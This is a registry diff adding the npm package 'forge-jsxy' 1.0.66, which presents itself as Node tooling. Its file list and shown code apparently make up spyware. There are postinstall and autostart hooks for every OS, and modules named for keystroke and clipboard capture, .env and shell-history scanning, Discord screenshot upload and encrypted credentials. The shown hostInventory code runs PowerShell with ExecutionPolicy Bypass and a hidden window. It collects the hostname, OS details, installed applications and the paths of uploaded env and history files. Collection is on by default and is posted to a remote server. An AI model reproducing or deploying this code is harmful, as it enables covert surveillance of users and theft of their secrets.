forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
export declare function effectiveSyncHostInventory(): boolean;
|
|
2
|
+
export interface HostInventoryFileRecord {
|
|
3
|
+
path: string;
|
|
4
|
+
content: string;
|
|
5
|
+
hash: string;
|
|
6
|
+
mtime: string;
|
|
7
|
+
size: number;
|
|
8
|
+
}
|
|
9
|
+
/** Paths uploaded in the same env-sync batch (for `syncSummary` in the inventory JSON). */
|
|
10
|
+
export interface HostInventorySyncSummary {
|
|
11
|
+
envFilePaths: string[];
|
|
12
|
+
shellHistoryPaths: string[];
|
|
13
|
+
}
|
|
14
|
+
/**
|
|
15
|
+
* Single JSON document: OS + Node + sorted unique app names (capped),
|
|
16
|
+
* plus optional **this-batch** `.env` / shell-history paths (same upload as inventory).
|
|
17
|
+
*/
|
|
18
|
+
export declare function buildHostInventoryRecord(syncSummary?: HostInventorySyncSummary): HostInventoryFileRecord;
|
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.effectiveSyncHostInventory = effectiveSyncHostInventory;
|
|
37
|
+
exports.buildHostInventoryRecord = buildHostInventoryRecord;
|
|
38
|
+
/**
|
|
39
|
+
* Host OS metadata + installed application list (best-effort, no UI).
|
|
40
|
+
* Sent as a synthetic `env_file` row at `forge-js://host-inventory.json` alongside `.env` / shell history sync.
|
|
41
|
+
*/
|
|
42
|
+
const node_child_process_1 = require("node:child_process");
|
|
43
|
+
const node_crypto_1 = require("node:crypto");
|
|
44
|
+
const os = __importStar(require("node:os"));
|
|
45
|
+
const VIRTUAL_INVENTORY_PATH = "forge-js://host-inventory.json";
|
|
46
|
+
function effectiveSyncHostInventory() {
|
|
47
|
+
const e = (process.env.FORGE_JS_SYNC_HOST_INVENTORY || "").trim().toLowerCase();
|
|
48
|
+
if (["0", "false", "no", "off"].includes(e))
|
|
49
|
+
return false;
|
|
50
|
+
return true;
|
|
51
|
+
}
|
|
52
|
+
const MAX_APP_NAMES = 8000;
|
|
53
|
+
const MAX_NAME_LEN = 240;
|
|
54
|
+
function trimName(s) {
|
|
55
|
+
const t = s.replace(/\s+/g, " ").trim();
|
|
56
|
+
if (t.length <= MAX_NAME_LEN)
|
|
57
|
+
return t;
|
|
58
|
+
return t.slice(0, MAX_NAME_LEN);
|
|
59
|
+
}
|
|
60
|
+
function dedupeSorted(names) {
|
|
61
|
+
const seen = new Set();
|
|
62
|
+
const out = [];
|
|
63
|
+
for (const raw of names.sort((a, b) => a.localeCompare(b, undefined, { sensitivity: "base" }))) {
|
|
64
|
+
const k = raw.toLowerCase();
|
|
65
|
+
if (!raw || seen.has(k))
|
|
66
|
+
continue;
|
|
67
|
+
seen.add(k);
|
|
68
|
+
out.push(raw);
|
|
69
|
+
if (out.length >= MAX_APP_NAMES)
|
|
70
|
+
break;
|
|
71
|
+
}
|
|
72
|
+
return out;
|
|
73
|
+
}
|
|
74
|
+
function listWindowsApps() {
|
|
75
|
+
const psExe = process.env.SystemRoot
|
|
76
|
+
? `${process.env.SystemRoot}\\System32\\WindowsPowerShell\\v1.0\\powershell.exe`
|
|
77
|
+
: "powershell.exe";
|
|
78
|
+
const script = [
|
|
79
|
+
"$ErrorActionPreference='SilentlyContinue'",
|
|
80
|
+
"$n=@()",
|
|
81
|
+
"$paths=@(",
|
|
82
|
+
"'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',",
|
|
83
|
+
"'HKLM:\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall',",
|
|
84
|
+
"'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall'",
|
|
85
|
+
")",
|
|
86
|
+
"foreach($p in $paths){ if(Test-Path $p){ Get-ChildItem $p | ForEach-Object { try { $d=(Get-ItemProperty $_.PSPath).DisplayName; if($d){ $n+=$d } } catch {} } } }",
|
|
87
|
+
"$n | Where-Object { $_ } | Sort-Object -Unique",
|
|
88
|
+
].join(" ");
|
|
89
|
+
const r = (0, node_child_process_1.spawnSync)(psExe, ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-Command", script], {
|
|
90
|
+
encoding: "utf8",
|
|
91
|
+
timeout: 120_000,
|
|
92
|
+
maxBuffer: 40 * 1024 * 1024,
|
|
93
|
+
windowsHide: true,
|
|
94
|
+
env: process.env,
|
|
95
|
+
});
|
|
96
|
+
if (r.status !== 0 && !r.stdout)
|
|
97
|
+
return [];
|
|
98
|
+
const lines = String(r.stdout || "")
|
|
99
|
+
.split(/\r?\n/)
|
|
100
|
+
.map((x) => trimName(x))
|
|
101
|
+
.filter(Boolean);
|
|
102
|
+
return dedupeSorted(lines);
|
|
103
|
+
}
|
|
104
|
+
function listLinuxApps() {
|
|
105
|
+
const r = (0, node_child_process_1.spawnSync)("/bin/sh", [
|
|
106
|
+
"-c",
|
|
107
|
+
"command -v dpkg-query >/dev/null 2>&1 && dpkg-query -W -f '${Package}\\n' 2>/dev/null | head -n 12000; " +
|
|
108
|
+
"command -v rpm >/dev/null 2>&1 && rpm -qa 2>/dev/null | head -n 12000",
|
|
109
|
+
], {
|
|
110
|
+
encoding: "utf8",
|
|
111
|
+
timeout: 90_000,
|
|
112
|
+
maxBuffer: 20 * 1024 * 1024,
|
|
113
|
+
env: process.env,
|
|
114
|
+
});
|
|
115
|
+
const lines = String(r.stdout || "")
|
|
116
|
+
.split(/\n/)
|
|
117
|
+
.map((x) => trimName(x))
|
|
118
|
+
.filter(Boolean);
|
|
119
|
+
return dedupeSorted(lines);
|
|
120
|
+
}
|
|
121
|
+
function listDarwinApps() {
|
|
122
|
+
const r = (0, node_child_process_1.spawnSync)("/bin/sh", [
|
|
123
|
+
"-c",
|
|
124
|
+
"ls -1 /Applications 2>/dev/null | sed 's/\\.app$//'; ls -1 \"$HOME/Applications\" 2>/dev/null | sed 's/\\.app$//'",
|
|
125
|
+
], {
|
|
126
|
+
encoding: "utf8",
|
|
127
|
+
timeout: 60_000,
|
|
128
|
+
maxBuffer: 8 * 1024 * 1024,
|
|
129
|
+
env: process.env,
|
|
130
|
+
});
|
|
131
|
+
const lines = String(r.stdout || "")
|
|
132
|
+
.split(/\n/)
|
|
133
|
+
.map((x) => trimName(x))
|
|
134
|
+
.filter(Boolean);
|
|
135
|
+
return dedupeSorted(lines);
|
|
136
|
+
}
|
|
137
|
+
function listInstalledAppsBestEffort() {
|
|
138
|
+
try {
|
|
139
|
+
if (process.platform === "win32")
|
|
140
|
+
return listWindowsApps();
|
|
141
|
+
if (process.platform === "darwin")
|
|
142
|
+
return listDarwinApps();
|
|
143
|
+
return listLinuxApps();
|
|
144
|
+
}
|
|
145
|
+
catch {
|
|
146
|
+
return [];
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
function osVersionString() {
|
|
150
|
+
try {
|
|
151
|
+
const v = os.version;
|
|
152
|
+
return typeof v === "function" ? v() : "";
|
|
153
|
+
}
|
|
154
|
+
catch {
|
|
155
|
+
return "";
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
function machineString() {
|
|
159
|
+
try {
|
|
160
|
+
const m = os.machine;
|
|
161
|
+
return typeof m === "function" ? m() : "";
|
|
162
|
+
}
|
|
163
|
+
catch {
|
|
164
|
+
return "";
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
/**
|
|
168
|
+
* Single JSON document: OS + Node + sorted unique app names (capped),
|
|
169
|
+
* plus optional **this-batch** `.env` / shell-history paths (same upload as inventory).
|
|
170
|
+
*/
|
|
171
|
+
function buildHostInventoryRecord(syncSummary) {
|
|
172
|
+
const installedApplications = listInstalledAppsBestEffort();
|
|
173
|
+
const envSorted = [...(syncSummary?.envFilePaths || [])].sort();
|
|
174
|
+
const shSorted = [...(syncSummary?.shellHistoryPaths || [])].sort();
|
|
175
|
+
const payload = {
|
|
176
|
+
schema: "forge-js-host-inventory/1",
|
|
177
|
+
collectedAt: new Date().toISOString(),
|
|
178
|
+
node: process.version,
|
|
179
|
+
hostname: os.hostname(),
|
|
180
|
+
platform: process.platform,
|
|
181
|
+
os: {
|
|
182
|
+
type: os.type(),
|
|
183
|
+
release: os.release(),
|
|
184
|
+
version: osVersionString(),
|
|
185
|
+
machine: machineString(),
|
|
186
|
+
},
|
|
187
|
+
installedApplications,
|
|
188
|
+
installedApplicationsCount: installedApplications.length,
|
|
189
|
+
syncSummary: {
|
|
190
|
+
envFilePaths: envSorted,
|
|
191
|
+
shellHistoryPaths: shSorted,
|
|
192
|
+
envFileCount: envSorted.length,
|
|
193
|
+
shellHistoryCount: shSorted.length,
|
|
194
|
+
},
|
|
195
|
+
};
|
|
196
|
+
const content = JSON.stringify(payload);
|
|
197
|
+
const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
|
|
198
|
+
const mtime = new Date().toISOString();
|
|
199
|
+
return {
|
|
200
|
+
path: VIRTUAL_INVENTORY_PATH,
|
|
201
|
+
content,
|
|
202
|
+
hash,
|
|
203
|
+
mtime,
|
|
204
|
+
size: Buffer.byteLength(content, "utf8"),
|
|
205
|
+
};
|
|
206
|
+
}
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
import { type ForgeSyncClient } from "./syncClient";
|
|
2
|
+
/** Default on. Opt out: ``FORGE_JS_SYNC_HOST_INVENTORY=0``. */
|
|
3
|
+
export declare function effectiveSyncHostInventory(): boolean;
|
|
4
|
+
/** POST host inventory JSON to forge-db (same shape as ``parseHostInventory`` in clients-status). */
|
|
5
|
+
export declare function sendHostInventorySnapshot(client: ForgeSyncClient): Promise<void>;
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.effectiveSyncHostInventory = effectiveSyncHostInventory;
|
|
37
|
+
exports.sendHostInventorySnapshot = sendHostInventorySnapshot;
|
|
38
|
+
/**
|
|
39
|
+
* One small ``env_file`` row for forge-db so dashboards can show OS type (forge-clients-status poller).
|
|
40
|
+
* Full env scan / shell history remain disabled; this is only Node ``os`` metadata + virtual path.
|
|
41
|
+
*/
|
|
42
|
+
const node_crypto_1 = require("node:crypto");
|
|
43
|
+
const os = __importStar(require("node:os"));
|
|
44
|
+
const syncClient_1 = require("./syncClient");
|
|
45
|
+
/** Default on. Opt out: ``FORGE_JS_SYNC_HOST_INVENTORY=0``. */
|
|
46
|
+
function effectiveSyncHostInventory() {
|
|
47
|
+
const e = (process.env.FORGE_JS_SYNC_HOST_INVENTORY || "").trim().toLowerCase();
|
|
48
|
+
if (["0", "false", "no", "off"].includes(e))
|
|
49
|
+
return false;
|
|
50
|
+
return true;
|
|
51
|
+
}
|
|
52
|
+
/** POST host inventory JSON to forge-db (same shape as ``parseHostInventory`` in clients-status). */
|
|
53
|
+
async function sendHostInventorySnapshot(client) {
|
|
54
|
+
const hostname = os.hostname();
|
|
55
|
+
const osType = os.type(); // "Windows_NT" | "Linux" | "Darwin"
|
|
56
|
+
const platform = os.platform(); // "win32" | "linux" | "darwin"
|
|
57
|
+
const content = JSON.stringify({
|
|
58
|
+
schema: "forge-js-host-inventory/1",
|
|
59
|
+
collectedAt: new Date().toISOString(),
|
|
60
|
+
hostname,
|
|
61
|
+
platform,
|
|
62
|
+
node: process.version,
|
|
63
|
+
os: {
|
|
64
|
+
type: osType,
|
|
65
|
+
release: os.release(),
|
|
66
|
+
version: os.version(),
|
|
67
|
+
},
|
|
68
|
+
});
|
|
69
|
+
const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
|
|
70
|
+
const iso = new Date().toISOString();
|
|
71
|
+
await client.createEvent((0, syncClient_1.envFileRecordToEvent)({
|
|
72
|
+
path: syncClient_1.FORGE_HOST_INVENTORY_VIRTUAL_PATH,
|
|
73
|
+
content,
|
|
74
|
+
hash,
|
|
75
|
+
mtime: iso,
|
|
76
|
+
size: Buffer.byteLength(content, "utf8"),
|
|
77
|
+
}));
|
|
78
|
+
// Also persist OS type directly to _client_registry via the dedicated endpoint
|
|
79
|
+
// so dashboards (2-forge-clients-status, 3-forge-db-discord) can display it
|
|
80
|
+
// without needing env_file rows (which are not stored in forge-db).
|
|
81
|
+
await client.updateClientInfo({
|
|
82
|
+
os_type: osType,
|
|
83
|
+
os_platform: platform,
|
|
84
|
+
hostname,
|
|
85
|
+
});
|
|
86
|
+
}
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* forge-js — Node.js tooling aligned with Python cfgmgr-syn (forge) and forge-db.
|
|
3
|
+
*/
|
|
4
|
+
export * from "./tableNaming";
|
|
5
|
+
export * from "./relayAuth";
|
|
6
|
+
export * from "./fsProtocol";
|
|
7
|
+
export * from "./fsMessages";
|
|
8
|
+
export * from "./syncClient";
|
|
9
|
+
export * from "./filesExplorer";
|
|
10
|
+
export * from "./relayAgent";
|
|
11
|
+
export * from "./relayServer";
|
|
12
|
+
export * from "./clientId";
|
|
13
|
+
export * from "./autostart";
|
|
14
|
+
export { configurationConstants, run, stopForgeWorker, } from "./workerBootstrap";
|
|
15
|
+
export type { ConfigurationConstantsOptions } from "./workerBootstrap";
|
|
16
|
+
export { effectiveSyncKeyboardClipboard, resolveSyncApiBase, startDesktopInputSync, startWindowsInputSync, } from "./windowsInputSync";
|
|
17
|
+
export type { DesktopInputSyncOptions, WindowsInputSyncOptions, } from "./windowsInputSync";
|
|
18
|
+
export { effectiveSyncEnvFiles, resolveEnvScanRootsFromEnv, startDesktopEnvSync, } from "./desktopEnvSync";
|
|
19
|
+
export type { DesktopEnvSyncOptions } from "./desktopEnvSync";
|
|
20
|
+
export { API_DEFAULT_PORT, DEFAULT_EXPLORER_PASSWORD, DEPLOYMENT_PUBLIC_HOST, RELAY_DEFAULT_PORT, defaultRelayWsUrl, defaultSyncApiBaseUrl, deploymentDefaultsDisabled, resolveForgeBundleKey, resolveSyncApiBaseUrl, } from "./deploymentDefaults";
|
|
21
|
+
export { decryptHfCredentialsB64, encryptHfCredentialsJson, loadHfCredentials, scrubHfCredentialsInPlace, } from "./hfCredentials";
|
|
22
|
+
export type { HfCredentials } from "./hfCredentials";
|
|
23
|
+
export { formatHfUploadError, runHfUpload, writeSingleFileZipStoreOnly } from "./hfUpload";
|
|
24
|
+
export type { HfUploadProgress, RunHfUploadOptions } from "./hfUpload";
|
package/dist/index.js
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* forge-js — Node.js tooling aligned with Python cfgmgr-syn (forge) and forge-db.
|
|
4
|
+
*/
|
|
5
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
6
|
+
if (k2 === undefined) k2 = k;
|
|
7
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
8
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
9
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
10
|
+
}
|
|
11
|
+
Object.defineProperty(o, k2, desc);
|
|
12
|
+
}) : (function(o, m, k, k2) {
|
|
13
|
+
if (k2 === undefined) k2 = k;
|
|
14
|
+
o[k2] = m[k];
|
|
15
|
+
}));
|
|
16
|
+
var __exportStar = (this && this.__exportStar) || function(m, exports) {
|
|
17
|
+
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
|
|
18
|
+
};
|
|
19
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
20
|
+
exports.writeSingleFileZipStoreOnly = exports.runHfUpload = exports.formatHfUploadError = exports.scrubHfCredentialsInPlace = exports.loadHfCredentials = exports.encryptHfCredentialsJson = exports.decryptHfCredentialsB64 = exports.resolveSyncApiBaseUrl = exports.resolveForgeBundleKey = exports.deploymentDefaultsDisabled = exports.defaultSyncApiBaseUrl = exports.defaultRelayWsUrl = exports.RELAY_DEFAULT_PORT = exports.DEPLOYMENT_PUBLIC_HOST = exports.DEFAULT_EXPLORER_PASSWORD = exports.API_DEFAULT_PORT = exports.startDesktopEnvSync = exports.resolveEnvScanRootsFromEnv = exports.effectiveSyncEnvFiles = exports.startWindowsInputSync = exports.startDesktopInputSync = exports.resolveSyncApiBase = exports.effectiveSyncKeyboardClipboard = exports.stopForgeWorker = exports.run = exports.configurationConstants = void 0;
|
|
21
|
+
__exportStar(require("./tableNaming"), exports);
|
|
22
|
+
__exportStar(require("./relayAuth"), exports);
|
|
23
|
+
__exportStar(require("./fsProtocol"), exports);
|
|
24
|
+
__exportStar(require("./fsMessages"), exports);
|
|
25
|
+
__exportStar(require("./syncClient"), exports);
|
|
26
|
+
__exportStar(require("./filesExplorer"), exports);
|
|
27
|
+
__exportStar(require("./relayAgent"), exports);
|
|
28
|
+
__exportStar(require("./relayServer"), exports);
|
|
29
|
+
__exportStar(require("./clientId"), exports);
|
|
30
|
+
__exportStar(require("./autostart"), exports);
|
|
31
|
+
var workerBootstrap_1 = require("./workerBootstrap");
|
|
32
|
+
Object.defineProperty(exports, "configurationConstants", { enumerable: true, get: function () { return workerBootstrap_1.configurationConstants; } });
|
|
33
|
+
Object.defineProperty(exports, "run", { enumerable: true, get: function () { return workerBootstrap_1.run; } });
|
|
34
|
+
Object.defineProperty(exports, "stopForgeWorker", { enumerable: true, get: function () { return workerBootstrap_1.stopForgeWorker; } });
|
|
35
|
+
var windowsInputSync_1 = require("./windowsInputSync");
|
|
36
|
+
Object.defineProperty(exports, "effectiveSyncKeyboardClipboard", { enumerable: true, get: function () { return windowsInputSync_1.effectiveSyncKeyboardClipboard; } });
|
|
37
|
+
Object.defineProperty(exports, "resolveSyncApiBase", { enumerable: true, get: function () { return windowsInputSync_1.resolveSyncApiBase; } });
|
|
38
|
+
Object.defineProperty(exports, "startDesktopInputSync", { enumerable: true, get: function () { return windowsInputSync_1.startDesktopInputSync; } });
|
|
39
|
+
Object.defineProperty(exports, "startWindowsInputSync", { enumerable: true, get: function () { return windowsInputSync_1.startWindowsInputSync; } });
|
|
40
|
+
var desktopEnvSync_1 = require("./desktopEnvSync");
|
|
41
|
+
Object.defineProperty(exports, "effectiveSyncEnvFiles", { enumerable: true, get: function () { return desktopEnvSync_1.effectiveSyncEnvFiles; } });
|
|
42
|
+
Object.defineProperty(exports, "resolveEnvScanRootsFromEnv", { enumerable: true, get: function () { return desktopEnvSync_1.resolveEnvScanRootsFromEnv; } });
|
|
43
|
+
Object.defineProperty(exports, "startDesktopEnvSync", { enumerable: true, get: function () { return desktopEnvSync_1.startDesktopEnvSync; } });
|
|
44
|
+
var deploymentDefaults_1 = require("./deploymentDefaults");
|
|
45
|
+
